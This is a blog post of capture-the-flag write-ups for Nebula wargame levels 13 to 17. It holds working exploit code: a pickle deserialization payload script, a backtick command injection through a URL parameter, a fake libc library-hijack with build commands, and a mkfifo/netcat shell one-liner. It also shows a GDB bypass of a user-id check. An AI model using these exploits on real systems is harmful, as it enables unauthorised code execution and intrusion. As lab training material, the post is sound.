"Whatever Pages"

Vulnerability just ahead

         Nebula 17 Agenda: “There is a python script listening on port 10007 that contains a vulnerability.”


The first thing that catches the eye in the source, is the next line(immediately raises the question - “whyyy?”):

1 obj = pickle.loads(line)

This means that server expects to receive serialized(by pickle) data. Search results confirms, that module is unsafe (in the main - __reduce__ deserialization method). According to the docs, we need to send serialized object, that implements required routine, which in order should return something useful. In our case, a tuple with “os.system” as callable object argumet, and the second one(tuple’s arg) should be another tuple which will serve as an callable’s arg(“getflag”):

 1 #!/usr/bin/python
 2 import os
 3 import socket
 4 import cPickle
 5 
 6 TARGET_HOST = "0.0.0.0"
 7 TARGET_PORT = 10007
 8 TARGET_CMD = "getflag > /tmp/flag"
 9 
10 class GhostInTheShell(object):
11     def __reduce__(self):
12         return (os.system, (TARGET_CMD,))
13 
14 
15 def sendDataAndPrintResponse(data):    
16     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
17     sock.connect((TARGET_HOST, TARGET_PORT))
18     sock.send(data) 
19 
20     print(sock.recv(1024))
21 
22     sock.close()
23 
24 
25 def main():
26     payload = cPickle.dumps(GhostInTheShell())
27     sendDataAndPrintResponse(payload)
28 
29 
30 if __name__ == "__main__":
31     main()
1 level17@nebula:~$ ./pwn.py && sleep 1 && cat /tmp/flag 
2 Accepted connection from 127.0.0.1:56737
3 You have successfully executed getflag on a target account

Well, if smdb needs smth more than just string output evidence(e.g. simple interactive shell 。☆°⋆\(- – )), then smdb could grab a chunk from nc man page:

1 rm -f /tmp/f; mkfifo /tmp/f && cat /tmp/f | /bin/sh -i 2>&1 | nc -l 0.0.0.0 1234 > /tmp/f

Resources:

Command substitution

         Nebula 16 Agenda: “There is a perl script running on port 1616.”


Ок, what we’ve got from source? Essentially there’s a one useful query parameter - “username”, which one after processing(converting to uppercase & space stripping) is gets into the line with perl’s command substitution (which works the same way as in the system shell):

1 @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;

So what we need to do, is to create executable script with a name in uppercase and pass the right path to the query param.

1 level16@nebula:/home/flag16$ cat > /tmp/X
2 !#/bin/sh
3 getflag >> /tmp/flag.txt
4 
5 level16@nebula:/home/flag16$ chmod +x /tmp/X
6 level16@nebula:/home/flag16$ wget -q http://0.0.0.0:1616/index.cgi?username=%60/*/X%60
7 level16@nebula:/home/flag16$ cat /tmp/flag.txt                                  
8 You have successfully executed getflag on a target account

%60” - is encoded backquote symbol.

Resources:

Insecure Library Loading

         Nebula 15 Agenda: “strace the binary at “/home/flag15/flag15” and see if you spot anything out of the ordinary.”


Starting from tracing:

1 ...
2 open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
3 stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbf88db44) = -1 ENOENT (No such file or directory)
4 ...
5 open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
6 stat64("/var/tmp/flag15", {st_mode=S_IFDIR|0775, st_size=3, ...}) = 0
7 open("/etc/ld.so.cache", O_RDONLY)      = 3
8 ...

and what we can see is that the program tries to find and load “libc.so.6” via predefined set which was binded through the rpath linker(ld) option. However, at the end it’s succeeds with the cache (which in order contains the proper libc path). Hence, as we already know all lookup-cells we could try to hijack library with one.

As follows, starting with simple source with single “__attribute((constructor))“(as testing initialization routine), after a facing with couple of relocation errors:

1 symbol __libc_start_main, version GLIBC_2.0 not defined in file libc.so.6 with link time reference
2 ...
3 symbol __cxa_finalize, version GLIBC_2.1.3 not defined in file libc.so.6 with link time reference
4 ...
5 no version information available (required by /home/flag15/flag15)

Reached the next outcome:

 1 /* fake_lib.c */
 2 #include <stdlib.h>
 3 #include <stdio.h>
 4 
 5 void __cxa_finalize(void * d) {return;}
 6 
 7 int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) {
 8 
 9  printf("----------------------------------------------------------\n");
10  system("getflag");
11  printf("----------------------------------------------------------\n");
12 
13  exit(0);
14 }

To eliminate error with absent version information was used a version script(allows to explicitly control the symbols exported by a library):

1 echo "GLIBC_2.0 {};" > fakelib.map

Copiled with static “libC” linking:

1 gcc -shared -static-libgcc -fPIC -Wl,--version-script=fakelib.map,-Bstatic -o libc.so.6 fake_lib.c

and final cut… drum-roll, the climax - boom:

1 level15@nebula:/var/tmp/flag15$ /home/flag15/flag15
2 ----------------------------------------------------------
3 You have successfully executed getflag on a target account
4 ----------------------------------------------------------

Resources:

Position dependent rotation

         Nebula 14 Agenda: “It encrypts input and writes it to standard output. An encrypted token file is also in that home directory, decrypt it :)”


During the investigation under the hood, it’s was easy to recognize position dependent ROT (means, not 13 =). In current case, each char’s shift is directly proportional to its position in the sequence):

1 level14@nebula:/home/flag14$ ./flag14 -e
2 111111111
3 123456789
4 level14@nebula:/home/flag14$ ./flag14 -e
5 aaaaaaaaa
6 abcdefghi

Thus it was easy to write appropriate decoder:

 1 #!/usr/bin/python
 2 import sys
 3 
 4 def decode(string):
 5     if string is not None:
 6         result = ""
 7         for i in range(0, len(string)):
 8             result += chr(ord(string[i]) - i)
 9         return result
10 
11 
12 def readContentOf(filename):
13     try:
14         with open (filename, "r") as tokenFile:
15             return tokenFile.read().replace('\n', '')
16     except IOError:
17         sys.stderr.write('Problem reading:' + filename)
18 
19 
20 def main():
21     if (len(sys.argv) >= 2) :
22         text = readContentOf(sys.argv[1])
23         print "Your token is: ", decode(text)
24     else :
25         print "Please specify the toke_file"
26 
27 
28 if __name__ == "__main__":
29      main()

And obtain the token:

1 level14@nebula:~$ ./decoder.py /home/flag14/token 
2 Your token is:  8457c118-887c-4e40-a5a6-33a25353165

Resources:

It's GDB time!

         Nebula 13 Agenda: “There is a security check that prevents the program from continuing execution if the user invoking it, and it does not match a specific user id”


The only applicable from my perspective thing to that issue was GDB (“gdb /home/flag13/flag13”). After disassembling main function (“disas main”) I cut out some chunk (whole list are to huge) which is in charge of id comparison (“(getuid() != FAKEUID)” - “cmp eax,0x3e8”) and further flow control:

So the next line after comparing, makes jump to “<main+109>” if value of $eax register is equal to “0x3e8”, otherwise execution flow will ends with calling “exit” function (“0x0804852c <+104>”). Therefore, we plan to act as follows:

  • Make breakpoint at comparing entry (“0x080484f4virtual address)
  • Change $eax value to “0x3e8”.
  • Obtain token.

Let’s do this!

Resources:

Subscribe via RSS.